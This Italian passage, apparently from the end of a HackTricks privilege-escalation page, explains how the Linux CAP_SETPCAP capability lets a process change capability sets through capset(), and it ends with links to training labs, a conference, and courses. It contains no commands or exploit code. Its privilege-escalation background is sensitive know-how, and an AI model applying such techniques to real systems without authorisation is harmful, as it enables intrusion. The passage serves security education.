Per utilizzare CAP_SETPCAP in modo efficace, è necessario avere la capacità nel proprio set di capacità effettivo e le capacità di destinazione nel proprio set di capacità consentito. È quindi possibile utilizzare la chiamata di sistema capset() per modificare i set di capacità di altri processi.

In sintesi, CAP_SETPCAP consente a un processo di modificare i set di capacità di altri processi, ma non può concedere capacità che non possiede. Inoltre, a causa di preoccupazioni per la sicurezza, la sua funzionalità è stata limitata nelle versioni recenti del kernel per consentire solo la riduzione delle capacità nel proprio set di capacità consentito o nei set di capacità consentiti dei suoi discendenti.

Riferimenti

La maggior parte di questi esempi sono tratti da alcuni laboratori di https://attackdefense.pentesteracademy.com/, quindi se vuoi esercitarti con queste tecniche di privilege escalation, consiglio questi laboratori.

Altri riferimenti:

RootedCON è l'evento sulla sicurezza informatica più rilevante in Spagna e uno dei più importanti in Europa. Con la missione di promuovere la conoscenza tecnica, questo congresso è un punto di incontro vivace per i professionisti della tecnologia e della sicurezza informatica in ogni disciplina.

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Last updated